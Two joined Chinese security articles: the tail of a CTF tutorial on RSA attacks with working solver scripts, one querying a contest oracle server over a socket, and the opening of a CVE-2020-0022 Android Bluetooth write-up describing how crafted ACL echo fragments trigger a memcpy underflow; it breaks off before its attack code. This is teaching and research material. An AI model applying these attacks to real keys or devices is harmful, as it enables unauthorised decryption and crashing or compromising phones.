p3 = get_a_prime(128)
n1 = p1 * p2
n2 = p1 * p3
e = 0x1001
c1 = encrypt(msg1, e, n1)
c2 = encrypt(msg2, e, n2)
print(c1)
print(c2)
e1 = 0x1001
e2 = 0x101
p4 = get_a_prime(128)
p5 = get_a_prime(128)
n3 = p4 * p5
c1 = num_to_bytes(pow(n1, e1, n3)).encode('hex')
c2 = num_to_bytes(pow(n1, e2, n3)).encode('hex')
print(c1)
print(c2)
print(base64.b64encode(num_to_bytes(n2)))
print(base64.b64encode(num_to_bytes(n3)))
n2，n3已知，利用共模攻击得到n1，由`gcd(n1,n2)==p1` 分解n1，n2，就可解密得到两部分msg，拼接即可。
解题脚本如下：
# -*- coding: utf-8 -*- # by https://findneo.github.io/
import base64
import libnum
import gmpy2
def fix_py():
# decode encryption.encrypted
s1 = 'abdefghijklmpqrtuvwxyz'
s2 = 'dmenwfoxgpyhirasbktclu'
f1 = open('encryption.encrypted')
with open('encryption.py', 'w') as f2:
for i in f1.readlines():
tmp = ''
for j in i:
tmp += s2[s1.index(j)] if j in s1 else j
f2.write(tmp)
# fix_py()
def common_modulus(n, e1, e2, c1, c2):
assert (libnum.gcd(e1, e2) == 1)
_, s1, s2 = gmpy2.gcdext(e1, e2)
m = pow(c1, s1, n) if s1 > 0 else pow(gmpy2.invert(c1, n), -s1, n)
m *= pow(c2, s2, n) if s2 > 0 else pow(gmpy2.invert(c2, n), -s2, n)
m %= n
return m
[n2, n3] = map(lambda x: int(base64.b64decode(x).encode('hex'), 16),
open('n2&n3').readlines())
[n1c1, n1c2] = map(lambda x: int(x, 16), open('n1.encrypted').readlines())
[msg1c1, msg2c2] = map(lambda x: int(x, 16), open('ciphertext').readlines())
# 通过共模攻击得到n1
e1 = 0x1001
e2 = 0x101
n1 = common_modulus(n3, e1, e2, n1c1, n1c2)
# n1,n2有一个共有质因数p1
# n1 += n3 # 存在n3比n1小的可能，并且确实如此;貌似主办方中途改题，把n1改成小于n3了。
p1 = gmpy2.gcd(n1, n2)
assert (p1 != 1)
p2 = n1 / p1
p3 = n2 / p1
e = 0x1001
d1 = gmpy2.invert(e, (p1 - 1) * (p2 - 1))
d2 = gmpy2.invert(e, (p1 - 1) * (p3 - 1))
msg1 = pow(msg1c1, d1, n1)
msg2 = pow(msg2c2, d2, n2)
msg1 = hex(msg1)[2:].decode('hex')
msg2 = hex(msg2)[2:].decode('hex')
print msg1, msg2
# XA{RP0I_0Itrsigi s.y
# MNCYT_55_neetnvmrap}
# XMAN{CRYPT0_I5_50_Interestingvim rsa.py}
## 小明文攻击
**适用情况：e较小，一般为3。**
公钥e很小，明文m也不大的话，于是`m^e=k*n+m` 中的的k值很小甚至为0，爆破k或直接开三次方即可。
Python实现：
def small_msg(e, n, c):
print time.asctime(), "Let's waiting..."
for k in xrange(200000000):
if gmpy2.iroot(c + n * k, e)[1] == 1:
print time.asctime(), "...done!"
return gmpy2.iroot(c + n * k, 3)[0]
### 例题：Jarvis OJ Extremely hard RSA
题目提供的n是4096位的，e=3。
import gmpy2,binascii,libnum,time
n=0xB0BEE5E3E9E5A7E8D00B493355C618FC8C7D7D03B82E409951C182F398DEE3104580E7BA70D383AE5311475656E8A964D380CB157F48C951ADFA65DB0B122CA40E42FA709189B719A4F0D746E2F6069BAF11CEBD650F14B93C977352FD13B1EEA6D6E1DA775502ABFF89D3A8B3615FD0DB49B88A976BC20568489284E181F6F11E270891C8EF80017BAD238E363039A458470F1749101BC29949D3A4F4038D463938851579C7525A69984F15B5667F34209B70EB261136947FA123E549DFFF00601883AFD936FE411E006E4E93D1A00B0FEA541BBFC8C5186CB6220503A94B2413110D640C77EA54BA3220FC8F4CC6CE77151E29B3E06578C478BD1BEBE04589EF9A197F6F806DB8B3ECD826CAD24F5324CCDEC6E8FEAD2C2150068602C8DCDC59402CCAC9424B790048CCDD9327068095EFA010B7F196C74BA8C37B128F9E1411751633F78B7B9E56F71F77A1B4DAAD3FC54B5E7EF935D9A72FB176759765522B4BBC02E314D5C06B64D5054B7B096C601236E6CCF45B5E611C805D335DBAB0C35D226CC208D8CE4736BA39A0354426FAE006C7FE52D5267DCFB9C3884F51FDDFDF4A9794BCFE0E1557113749E6C8EF421DBA263AFF68739CE00ED80FD0022EF92D3488F76DEB62BDEF7BEA6026F22A1D25AA2A92D124414A8021FE0C174B9803E6BB5FAD75E186A946A17280770F1243F4387446CCCEB2222A965CC30B3929
e=3
res=0
c=int(open('extremelyhardRSA.rar/flag.enc','rb').read().encode('hex'),16)
print time.asctime()
for i in xrange(200000000):
if gmpy2.iroot(c+n*i,3)[1]==1:
res=gmpy2.iroot(c+n*i,3)[0]
print i,res
print libnum.n2s(res)
print time.asctime()
break
## Rabin加密中的N可被分解
**适用情况：e==2**
Rabin加密是RSA的衍生算法，e==2是Rabin加密典型特征，可以百度或阅读
<https://en.wikipedia.org/wiki/Rabin_cryptosystem>
以了解到详细的说明，这里只关注解密方法。一般先通过其他方法分解得到p，q，然后解密。
Python实现：
def rabin_decrypt(c, p, q, e=2):
n = p * q
mp = pow(c, (p + 1) / 4, p)
mq = pow(c, (q + 1) / 4, q)
yp = gmpy2.invert(p, q)
yq = gmpy2.invert(q, p)
r = (yp * p * mq + yq * q * mp) % n
rr = n - r
s = (yp * p * mq - yq * q * mp) % n
ss = n - s
return (r, rr, s, ss)
函数返回四个数，这其中只有一个是我们想要的明文，需要通过其他方式验证，当然CTF中显然就是flag字眼了。
解密方法是参照维基百科的，截图如下：
### 例子：Jarvis OJ hard RSA
解题脚本
import gmpy2,libnum
n=0xC2636AE5C3D8E43FFB97AB09028F1AAC6C0BF6CD3D70EBCA281BFFE97FBE30DD
p=275127860351348928173285174381581152299
q=319576316814478949870590164193048041239
e=2
c=int(open('hardRSA.rar/flag.enc','rb').read().encode('hex'),16)
mp=pow(c,(p+1)/4,p)
mq=pow(c,(q+1)/4,q)
yp=gmpy2.invert(p,q)
yq=gmpy2.invert(q,p)
r=(yp*p*mq+yq*q*mp)%n
rr=n-r
s=(yp*p*mq-yq*q*mp)%n
ss=n-s
print libnum.n2s(r)
print libnum.n2s(rr)
print libnum.n2s(s)
print libnum.n2s(ss)
## Wiener's Attack
**适用情况：e过大或过小。**
工具：<https://github.com/pablocelayes/rsa-wiener-attack>
在e过大或过小的情况下，可使用算法从e中快速推断出d的值。详细的算法原理可以阅读：[低解密指数攻击](https://www.tr0y.wang/2017/11/06/CTFRSA/index.html#%E4%BD%8E%E8%A7%A3%E5%AF%86%E6%8C%87%E6%95%B0%E6%94%BB%E5%87%BB)
。
from Crypto.PublicKey import RSA
import ContinuedFractions, Arithmetic
def wiener_hack(e, n):
# firstly git clone https://github.com/pablocelayes/rsa-wiener-attack.git !
frac = ContinuedFractions.rational_to_contfrac(e, n)
convergents = ContinuedFractions.convergents_from_contfrac(frac)
for (k, d) in convergents:
if k != 0 and (e * d - 1) % k == 0:
phi = (e * d - 1) // k
s = n - phi + 1
discr = s * s - 4 * n
if (discr >= 0):
t = Arithmetic.is_perfect_square(discr)
if t != -1 and (s + t) % 2 == 0:
print("Hacked!")
return d
return False
### 例子：2018强网杯nextrsa-Level2
n = 0x92411fa0c93c1b27f89e436d8c4698bcf554938396803a5b62bd10c9bfcbf85a483bd87bb2d6a8dc00c32d8a7caf30d8899d90cb8f5838cae95f7ff5358847db1244006c140edfcc36adbdcaa16cd27432b4d50d2348b5c15c209364d7914ef50425e4c3da07612cc34e9b93b98d394b43f3eb0a5a806c70f06697b6189606eb9707104a7b6ff059011bac957e2aae9ec406a4ff8f8062400d2312a207a9e018f4b4e961c943dfc410a26828d2e88b24e4100162228a5bbf0824cf2f1c8e7b915efa385efeb505a9746e5d19967766618007ddf0d99525e9a41997217484d64c6a879d762098b9807bee46a219be76941b9ff31465463981e230eecec69691d1L
e = 0x6f6b385dd0f06043c20a7d8e5920802265e1baab9d692e7c20b69391cc5635dbcaae59726ec5882f168b3a292bd52c976533d3ad498b7f561c3dc01a76597e47cfe60614f247551b3dbe200e2196eaa001a1d183886eeacddfe82d80b38aea24de1a337177683ed802942827ce4d28e20efef92f38f1b1a18c66f9b45f5148cceabfd736de8ac4a49e63a8d35a83b664f9f3b00f822b6f11ff13257ee6e0c00ca5c98e661ea594a9e66f2bd56b33d9a13f5c997e67a37fcf9a0c7f04d119fe1ba261127357e64a4b069aefed3049c1c1fe4f964fd078b88bedd064abea385cfebd65e563f93c12d34eb6426e8aa321033cfd8fe8855b9e74d07fe4f9d70de46fL
d = wiener_hack(e, n)
print d #42043
## 私钥文件修复
**适用情况：提供破损的私钥文件。**
### 例题：Jarvis OJ-God Like RSA
参考 <https://www.40huo.cn/blog/rsa-private-key-recovery-and-oaep.html>
修复存储私钥的文件，得到p和q。
## LSB Oracle Attack
**适用情况：可以选择密文并泄露最低位。**
在一次RSA加密中，明文为m，模数为n，加密指数为e，密文为c。我们可以构造出`c'=((2^e)*c)%n=((2^e)*(m^e))%n=((2*m)^e)%n`
， 因为m的两倍可能大于n，所以经过解密得到的明文是 `m'=(2*m)%n` 。我们还能够知道 `m'` 的最低位`lsb` 是1还是0。
因为n是奇数，而`2*m` 是偶数，所以如果`lsb` 是0，说明`(2*m)%n` 是偶数，没有超过n，即`m<n/2.0` ，反之则`m>n/2.0`
。举个例子就能明白`2%3=2` 是偶数，而`4%3=1` 是奇数。以此类推，构造密文`c"=(4^e)*c)%n` 使其解密后为`m"=(4*m)%n`
，判断`m"` 的奇偶性可以知道`m` 和 `n/4` 的大小关系。所以我们就有了一个二分算法，可以在对数时间内将m的范围逼近到一个足够狭窄的空间。
更多信息可参考：[RSA Least-Significant-Bit Oracle
Attack](https://introspelliam.github.io/2018/03/27/crypto/RSA-Least-Significant-Bit-Oracle-Attack/) 和 [RSA least significant bit oracle
attack](https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack) 。
Python实现：
import decimal
def oracle():
return lsb == 'odd'
def partial(c, e, n):
k = n.bit_length()
decimal.getcontext().prec = k # for 'precise enough' floats
lo = decimal.Decimal(0)
hi = decimal.Decimal(n)
for i in range(k):
if not oracle(c):
hi = (lo + hi) / 2
else:
lo = (lo + hi) / 2
c = (c * pow(2, e, n)) % n
# print i, int(hi - lo)
return int(hi)
### 例子：QCTF2018-XMan选拔赛/Baby RSA
题目如下
e = 0x10001
n = 0x0b765daa79117afe1a77da7ff8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bb0658707fe516967464439bdec2d6479fa3745f57c0a5ca255812f0884978b2a8aaeb750e0228cbe28a1e5a63bf0309b32a577eecea66f7610a9a4e720649129e9dc2115db9d4f34dc17f8b0806213c035e22f2c5054ae584b440def00afbccd458d020cae5fd1138be6507bc0b1a10da7e75def484c5fc1fcb13d11be691670cf38b487de9c4bde6c2c689be5adab08b486599b619a0790c0b2d70c9c461346966bcbae53c5007d0146fc520fa6e3106fbfc89905220778870a7119831c17f98628563ca020652d18d72203529a784ca73716db
c = 0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15c77532964120ae11f8655b68a630607df0568a7439bc694486ae50b5c0c8507e5eecdea4654eeff3e75fb8396e505a36b0af40bd5011990663a7655b91c9e6ed2d770525e4698dec9455db17db38fa4b99b53438b9e09000187949327980ca903d0eef114afc42b771657ea5458a4cb399212e943d139b7ceb6d5721f546b75cd53d65e025f4df7eb8637152ecbb6725962c7f66b714556d754f41555c691a34a798515f1e2a69c129047cb29a9eef466c206a7f4dbc2cea1a46a39ad3349a7db56c1c997dc181b1afcb76fa1bbbf118a4ab5c515e274ab2250dba1872be0
λ nc 47.96.239.28 23333
----------------------------- baby rsa ----------------------------- Come and Decode your data
If you give me ciphertext, I can tell you whether decoded data is even or odd
You can input ciphertext(hexdecimal) now
1
odd
解题脚本：
# -*- coding: utf-8 -*- # by https://findneo.github.io/
# ref:
# https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack
# https://ctf.rip/sharif-ctf-2016-lsb-oracle-crypto-challenge/
# https://introspelliam.github.io/2018/03/27/crypto/RSA-Least-Significant-Bit-Oracle-Attack/
import libnum, gmpy2, socket, time, decimal
def oracle(c1):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
hostname = '47.96.239.28'
port = 23333
s.connect((hostname, port))
s.recv(1024)
s.send(hex(c1)[2:].strip("lL") + '\n')
res = s.recv(1024).strip()
s.close()
if res == 'even': return 0
if res == 'odd':
return 1
else:
assert (0)
def partial(c, n):
global c_of_2
k = n.bit_length()
decimal.getcontext().prec = k # allows for 'precise enough' floats
lower = decimal.Decimal(0)
upper = decimal.Decimal(n)
for i in range(k):
possible_plaintext = (lower + upper) / 2
# lower==0 when i<1809
flag = oracle(c)
if not flag:
upper = possible_plaintext # plaintext is in the lower half
else:
lower = possible_plaintext # plaintext is in the upper half
c = (c * c_of_2) % n # multiply y by the encryption of 2 again
print i, flag, int(upper - lower)
# time.sleep(0.2)
# By now, our plaintext is revealed!
return int(upper)
def main():
print "[*] Conducting Oracle attack..."
return partial((c * c_of_2) % n, n)
if __name__ == '__main__':
e = 0x10001
n = 0x0b765daa79117afe1a77da7ff8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bb0658707fe516967464439bdec2d6479fa3745f57c0a5ca255812f0884978b2a8aaeb750e0228cbe28a1e5a63bf0309b32a577eecea66f7610a9a4e720649129e9dc2115db9d4f34dc17f8b0806213c035e22f2c5054ae584b440def00afbccd458d020cae5fd1138be6507bc0b1a10da7e75def484c5fc1fcb13d11be691670cf38b487de9c4bde6c2c689be5adab08b486599b619a0790c0b2d70c9c461346966bcbae53c5007d0146fc520fa6e3106fbfc89905220778870a7119831c17f98628563ca020652d18d72203529a784ca73716db
c = 0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15c77532964120ae11f8655b68a630607df0568a7439bc694486ae50b5c0c8507e5eecdea4654eeff3e75fb8396e505a36b0af40bd5011990663a7655b91c9e6ed2d770525e4698dec9455db17db38fa4b99b53438b9e09000187949327980ca903d0eef114afc42b771657ea5458a4cb399212e943d139b7ceb6d5721f546b75cd53d65e025f4df7eb8637152ecbb6725962c7f66b714556d754f41555c691a34a798515f1e2a69c129047cb29a9eef466c206a7f4dbc2cea1a46a39ad3349a7db56c1c997dc181b1afcb76fa1bbbf118a4ab5c515e274ab2250dba1872be0
c_of_2 = pow(2, e, n)
m = main()
# m = 560856645743734814774953158390773525781916094468093308691660509501812349
print libnum.n2s(m)
# QCTF{RSA_parity_oracle_is_fun}
## 选择密文攻击
**适用情况：可以构造任意密文并获得对应明文。**
这个好理解，在一个RSA加密过程中，明文为m，密文为c，模数为n，加密指数为e，选取x以满足`gcd(x,n)==1` 从而使x模n的逆存在，构造密文
`c'=c*(x^e)` 使解密后明文为 `m'=(m*x)%n` ，则`m=m'*x^-1(mod n)` 。可参看`模意义下的运算法则部分` 。
## 广播攻击
**适用情况：模数n、密文c不同，明文m、加密指数e相同。一般会是e=k，然后给k组数据**
使用不同的模数n，相同的公钥指数e加密相同的信息。就会得到多个(m^e) ==ci (mod
ni)，将(m^e)视为一个整体M，这就是典型的中国剩余定理适用情况。按照本文的`中国剩余定理`小节容易求得m^e的值，当e较小时直接开e方即可，可使用`gmpy2.iroot(M,e)`
方法。
Python实现：参见本文 `中国剩余定理`小节。
### 例子：2018强网杯nextrsa-Level9
m = random.randint(0x100000000000, 0xffffffffffff)
e = 3
n1 = 0x43d819a4caf16806e1c540fd7c0e51a96a6dfdbe68735a5fd99a468825e5ee55c4087106f7d1f91e10d50df1f2082f0f32bb82f398134b0b8758353bdabc5ba2817f4e6e0786e176686b2e75a7c47d073f346d6adb2684a9d28b658dddc75b3c5d10a22a3e85c6c12549d0ce7577e79a068405d3904f3f6b9cc408c4cd8595bf67fe672474e0b94dc99072caaa4f866fc6c3feddc74f10d6a0fb31864f52adef71649684f1a72c910ec5ca7909cc10aef85d43a57ec91f096a2d4794299e967fcd5add6e9cfb5baf7751387e24b93dbc1f37315ce573dc063ecddd4ae6fb9127307cfc80a037e7ff5c40a5f7590c8b2f5bd06dd392fbc51e5d059cffbcb85555L
n2 = 0x60d175fdb0a96eca160fb0cbf8bad1a14dd680d353a7b3bc77e620437da70fd9153f7609efde652b825c4ae7f25decf14a3c8240ea8c5892003f1430cc88b0ded9dae12ebffc6b23632ac530ac4ae23fbffb7cfe431ff3d802f5a54ab76257a86aeec1cf47d482fec970fc27c5b376fbf2cf993270bba9b78174395de3346d4e221d1eafdb8eecc8edb953d1ccaa5fc250aed83b3a458f9e9d947c4b01a6e72ce4fee37e77faaf5597d780ad5f0a7623edb08ce76264f72c3ff17afc932f5812b10692bcc941a18b6f3904ca31d038baf3fc1968d1cc0588a656d0c53cd5c89cedba8a5230956af2170554d27f524c2027adce84fd4d0e018dc88ca4d5d26867L
n3 = 0x280f992dd63fcabdcb739f52c5ed1887e720cbfe73153adf5405819396b28cb54423d196600cce76c8554cd963281fc4b153e3b257e96d091e5d99567dd1fa9ace52511ace4da407f5269e71b1b13822316d751e788dc935d63916075530d7fb89cbec9b02c01aef19c39b4ecaa1f7fe2faf990aa938eb89730eda30558e669da5459ed96f1463a983443187359c07fba8e97024452087b410c9ac1e39ed1c74f380fd29ebdd28618d60c36e6973fc87c066cae05e9e270b5ac25ea5ca0bac5948de0263d8cc89d91c4b574202e71811d0ddf1ed23c1bc35f3a042aac6a0bdf32d37dede3536f70c257aafb4cfbe3370cd7b4187c023c35671de3888a1ed1303L
c1 = pow(m, e, n1)
c2 = pow(m, e, n2)
c3 = pow(m, e, n3)
print m == gmpy2.iroot(CRT([n1, n2, n3], [c1, c2, c3]), e)[0]
# 后话
RSA可谓现代密码学的中流砥柱，关于它的可行攻击方法研究还有很多，诸如Timing Attack ，Padding oracle attack，Side-channel analysis attacks等类型的攻击，本文仅介绍了一些通俗易懂的方法，读者还可以阅读 [CTF
wiki中的非对称加密部分](https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/rsa/rsa_theory/) ，以及以 [RSA
(cryptosystem)](https://en.wikipedia.org/wiki/RSA_%28cryptosystem%29)
为目录结合谷歌进行进一步学习。
# 参考链接
[Practical Padding Oracle Attacks on RSA](http://secgroup.dais.unive.it/wp-content/uploads/2012/11/Practical-Padding-Oracle-Attacks-on-RSA.html)
[CTF wiki中的非对称加密部分](https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/rsa/rsa_theory/) | 社区文章 |
# CVE-2020-0022 蓝牙漏洞初探（上）一个bug引发的血案
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一. 引言
大家好，我是来自银基TIGER TEAM的Cure。本次为大家带来的是CVE-2020-0022
漏洞研究的第一部分。近年来，蓝牙已成为可移动设备的标配，在手机、智能手表等电子产品的短距离数据传输场景得以广泛应用。蓝牙的传输除依赖硬件芯片之外，还需要相关固件与主机操作系统的支持，而后两者则常常成为RCE（远程代码执行）攻击的标靶。
CVE-2020-0022是一个由于Android 系统在蓝牙传输收包重组过程所存在的代码bug而引发的漏洞。该漏洞对Android
8、9、10均存在影响，对于Android 8、9有潜力引发Memory Leak（内存泄露）和RCE，而对于Android
10则能够引起蓝牙守护进程的崩溃。相关bug可以由2020年2月发布的Android A-143894715号安全补丁进行修复。
笔者在研究该漏洞原理的时候克服了不少困难，并将心得整理成了“CVE-2020-0022 蓝牙漏洞初探”这一系列。本系列分三个部分：
第一部分：一个bug引发的血案
该部分介绍Android 蓝牙协议的框架，详细分析相关模块的代码原理，并着重分析相关bug，结合demo给出其初步危害。
第二部分：探索Memory Leak
该部分向更高的目标进发，详细阐述arm64 架构下libc库memcpy函数的实现及其“特殊”行为，并借助这一点结合demo给出相应漏洞下使能Memory
Leak的方法。
第三部分：探索RCE
该部分进一步升级目标，首先明确RCE的难点所在，并详细介绍对于C++ vtable的攻击方法，并基于此给出相应漏洞下使能RCE的延伸思路。
本文为系列的第一部分，第二、三部分会在后面的时间里逐步为大家呈现。希望本文提供的技术探索与实例，能够起到抛砖引玉的作用；同时，也为初学者提供一些思路与参考。
## 二. 蓝牙相关知识
### 2.1 生活中的蓝牙
蓝牙作为短距离无线网络通信的解决方案，蓝牙已深入人们的生活，其常见应用场景包括但不限于：
1）文件传输，例如在缺少USB线的情况下在笔记本和手机之间传输照片。
2）蓝牙耳机，使能无线地在设备（例如笔记本、MP3）与耳机之间传输音频数据，为用户带来方便。
3）蓝牙打印机，例如使用手机连接打印机而打印文件而不需额外地携带U盘。
4）蓝牙上网，例如当开启“手机热点”，笔记本等设备可以使用手机流量进行上网。其中，笔记本与手机的连接方式可以选择蓝牙。
### 2.2 蓝牙通信架构
笔者在检索、整合相关资料后，绘制的蓝牙设备通信架构图如下所示。
图中，左半部分和右半部分分别代表一个带有蓝牙功能的设备，例如手机。其中，金粉色的矩形框代表了设备中自应用程序至物理总线驱动的软件协议栈，而蓝色部分则代表了蓝牙硬件芯片。
当发生数据交互时，应用程序所提供的数据包，经由各协议层的封装，发送至物理总线并抵达蓝牙芯片。相应固件对数据包进行处理后，载入到无线通信信号中进行传输。
图中的“诸多上层协议层”，在蓝牙上网、蓝牙耳机等不同应用场景具备着多种多样的形式，但由于其与本系列所讨论的漏洞关系不大，故不作进一步展开。图中，标为淡蓝色的L2CAP和HCI的两个协议层，作为绝大多数场景下的统一封装层，是我们较为关注的重点。
### 2.3 分包与重组
L2CAP层和HCI层为绝大多数蓝牙数据传输的I/O路径所共有，本节对其与漏洞相关的工作模式进行简介。
L2CAP层和HCI层在发送和接收的过程中均涉及到数据包的分包与组包，笔者绘制下图以对分包行为进行描述。组包过程作为其逆过程，请读者自行推断。
在发送路径上，上不同的上层协议层传输给L2CAP的数据统称为SDU（Service Data
Unit）。SDU的最大长度可达65536字节，当较大的SDU其进入L2CAP层后，则会触发分段（Segmentation），得到多个较小的数据片段，L2CAP层对每个片段添加L2CAP协议头，封装为PDU数据包并传递至HCI层。当单个PDU进入HCI层，若其大小超过HCI层的限定，则触发分解（Fragmentation），再对得到的每块碎片数据分别添加HCI头，并依次发送至蓝牙控制器。
在接收路径上，相应地，对于蓝牙控制器收到的多个HCI数据包，HCI层需要对其进行重组（与分解对应），得到PDU传递给L2CAP层；类似地，L2CAP层需要对多个PDU进行重组（与分段对应），得到SDU传递给上层协议层。
蓝牙数据传输主要涉及两种链路：SCO（Synchronous）和ACL（Asynchronous
Connectionless），前者常用于同步话音传输，后者主要用于分组数据传送，为本系列所关注。
对于ACL链路，HCI-ACL数据包的格式如下图所示。
其中，PB Flag是Packet Boundary Flag的缩写，该字段占用两个bit，当其数值为00或10时，表征当前HCI包是上层L2CAP
PDU分解所得碎片中的首包；当其数值为01时，表征当前HCI包是上层L2CAP
PDU分解所得碎片中的续包；当其值为11时，表征其封装了一个完整的上层L2CAP PDU。
对于ACL链路，L2CAP PDU的格式如下图所示。
其中，Length描述的是当前L2CAP PDU的数据部分的总长度，而SDU Length描述的是当前L2CAP所属SDU的长度。值得注意的是，L2CAP
SDU字段只存在于部分协议的首个L2CAP数据包。
## 三. 漏洞细节
### 3.1 漏洞概述
CVE-2020-0022漏洞的本质在于，接收端在处理HCI
ACL数据包重组的过程中，存在代码bug，使得相应的memcpy阶段能够向相应缓冲区写入超过预期长度的数据。
这种非法的写入，能够初步地使得执行收包的进程即蓝牙守护进程发生崩溃，在精心构造之下，能够导致内存内容泄露乃至RCE。
本文仅关注通过漏洞引发进程崩溃的情形，其他基于漏洞的进一步攻击方法将在本系列的后续文章中给予阐述。
### 3.2 代码分析
相关代码位于system/bt/hci/src/packet_fragmenter.cc，核心流程即HCI-ACL数据包的重组，对应函数为reassemble_and_dispatch。
**3.2.1 HCI-ACL数据包的初步解析**
蓝牙守护进程对与新接收的HCI-ACL数据包，作初步解析如下图所示。
这里，HCI-ACL数据包在其已有处理过程中被封装为BT_HDR结构，其中，通过packet->data可以得到HCI数据包的起点。
根据前面对HCI ACL数据包结构的分析，有：
① Line 128读取了HCI-ACL数据包的数据长度，即当前HCI-ACL数据包所包含的部分L2CAP PDU的长度，并存入acl_length；
② Line 129读取了L2CAP PDU的前两个字节所含的数字，并存入l2cap_length。若当前HCI-ACL数据包为首个碎片，则l2cap_length即相应L2CAP PDU的数据长度，；
③ Line 127和Line 133读取了HCI-ACL头的handle部分，并提取了当前HCI包是否为对应L2CAP PDU的首个碎片的信息。
**3.2.2 首个HCL-ACL碎片的处理**
若当前HCI-ACL数据包是相应L2CAP PDU的首个碎片，其相关处理流程如笔者所绘制的下图所示。
下面结合代码进行分析。
继数据包的初步解析后，若当前HCI包为首个碎片（Line 136），则l2cap_length为L2CAP
PDU的数据长度，在其基础上添加L2CAP头的长度和HCI-ACL头的长度，即得到封装了整个L2CAP PDU的HCI-ACL数据包的长度，记作full_length。
在确定full_length的合法性（Line 161 ~ Line 178）后，在内存中分配相应BT_HDR结构partial（Line
180），该结构除BT_HDR头部外，其余部分大小为full_length字节，用于存放各HCI-ACL数据包的重组结果（含HCI-ACL头）。
在为partial分配空间后，
① 将partial_packet->len设定为full_length，以记录完整重组结果的大小（含HCI-ACL头）（Line 183）；
② 将partial_packet->offset标记为packet->len，以记录此次整合之后，重组结果中所含的有效数据量（含HCI-ACL头）（Line 184）；
③ 通过内存复制，将当前HCI-ACL碎片的内容整合到partial中（Line 186）。
**3.2.3 后续HCI-ACL碎片的处理**
若当前HCI-ACL数据包是相应L2CAP PDU的后续碎片，其相关处理流程如笔者所绘制的下图所示。
继数据包的初步解析后，若当前HCI包为后续碎片（Line 197），则计算projected_offset为partial_packet->offset +
(packet->len –
HCI_ACL_PREAMBLE_SIZE)。由前述内容，partial_packet->offset为当前重组结果的有效数据量；于是，projected_offset的语义为：以完整地整合当前HCI-ACL数据包为前提，所得的重组结果中的有效数据量（包括HCI-ACL头）。
若projected_offset大于根据首个HCI-ACL碎片内容计算所得的完整重组长度（含HCI-ACL头），则对当前HCL-ACL碎片的内容进行截断（Line 211 ~ Line 219），确保当前HCL-ACL长度合法。
通过内存复制，将当前HCL-ACL碎片的内容整合到重组结果之中。（Line 211 ~ Line 212），再完成相关清理工作（Line 225 ~
Line 232）。
### 3.3 漏洞原理与初步利用
**3.3.1 被减小的内存复制量**
3.2.3节对后续HCL-ACL碎片的处理中，Line 211 ~ Line 219的目的在于：要对过大的当前HCL-ACL碎片进行截断，以便按照首个HCL-ACL碎片所指定的L2CAP PDU大小完成重组。然而，Line 217的代码是存在bug的。
当不存在截断时，packet->len的长度是包含HCI-ACL头的，Line
221中减去packet->offset（被赋值为HCI_ACL_PREAMBLE_SIZE，即4字节）得到的是对应的部分L2CAP
PDU的长度，从而，复制的内容为当前HCI-ACL碎片中的部分L2CAP PDU。
然而，发生截断时，packet->len被更新为：
partial_packet->len – partial_packet->offset
= 重组结果的预期完整长度（含HCI-ACL头）- 重组结果已有有效数据的长度（含HCI-ACL头）
= 重组结果中还能容纳的有效数据长度
= 后续HCI-ACL碎片中所包含的一部分L2CAP PDU的最大长度
注意，这使packet->len的语义发生了变化，它不再包含HCI-ACL头的长度，而是应当进行整合的一部分L2CAP PDU的长度，于是，Line
221使用packet->len减去packet->offset成为了多余的操作，使得应当拷贝的数据量错误地减少了一个HCI-ACL头的长度。
**3.3.2 使能overflow**
经验表明，内存复制量的减少会导致传输内容的丢失，而内存复制量的增加才是导致overflow和一系列攻击的关键。
有趣的是，memcpy的第三个参数本质上是一个unsigned的类型，即，无论传递的具体数值是多少，该参数都会被memcpy当作强制转换成无符号数处理。
于是，只需构造使得Line
221处的packet->len小于packet->offset，即小于4。例如，令其为2，则memcpy的第三个参数为-2，强制转化成无符号数为0xfffffffffffffffe，使得产生overflow。
## 四. 漏洞复现
### 4.1 攻击思路
L2CAP有三种格式：非链接格式（Connectionless）、面向链接格式（Connection-oriented）和讯号命令格式（Signaling
Command）。其中，单个讯号命令格式的L2CAP数据包中允许携带1个或多个Command。Command有多种形式，其一为echo请求。echo请求类似于我们常用的ping指令，当向某个可达的蓝牙设备并发送echo时，默认地，该设备将返回一个echo回执，其数据内容与echo请求完全相同。
echo请求采用ACL链路层，有触发漏洞的潜力，我们对其进行构造以达成攻击。
① 第一步，我们考察一个完整的l2cap echo请求包，笔者将其格式绘制如下。
其中，L2CAP头中的Length即后续Command头+Command体的长度；L2CAP头中的CID与L2CAP格式有关，对于讯号命令格式，其值固定为0x02。
Command头中的Code表征Command的类型，对于echo请求，其值固定为0x08；而对于echo回执，其值固定为0x09；Command头中的Ident作为请求的标识号，一般地，是一个逐数据包递增的值。
Data则含有Command请求体的内容，允许任何设定。
② 第二步，我们将上述请求使用HCI-ACL数据包进行封装，得到两个请求，笔者将其绘制如下。
注意，虽然L2CAP数据包本身进行了拆分，但第一个HCI-ACL碎片所含的L2CAP头中，Length仍是整个Command的长度，即Command头长度
+ Command请求体第1部分长度 + Command请求体第2部分长度。
③ 第三步，通过构造，使得第一个HCI-ACL碎片中，L2CAP头中的Length为Command请求体第1部分长度 +
2。这样一来，正确情况下，第二个HCL-ACL碎片中Command请求体第2部分的长度应为2。然而，我们故意将第二个HCL-ACL碎片的长度（通过HCL-ACL头中的Length表征）设定为大于2，从而触发截断，使得前述memcpy的第三个参数变为unsigned(2 – 4) =
0xfffffffffffffffe。
### 4.2 代码片段
为方便读者进一步理解4.1中的攻击思路，笔者书写了如下代码片段，这些代码实测能够达到预期攻击目的，详见下一节。
① 第一个HCI-ACL碎片的构造与发送
其中，结合上节的图解不难理解其行为。
② 第二个HCL-ACL碎片的构造与发送
其中，结合上节的图解不难理解其行为。
③ 程序自身的正确性验证
其中，我们发送一个Command体由8个A字符和8个B字符组成的正常echo数据包，若程序思路无误，则预期返回一个内容相同的echo回执包。
④ 发动攻击
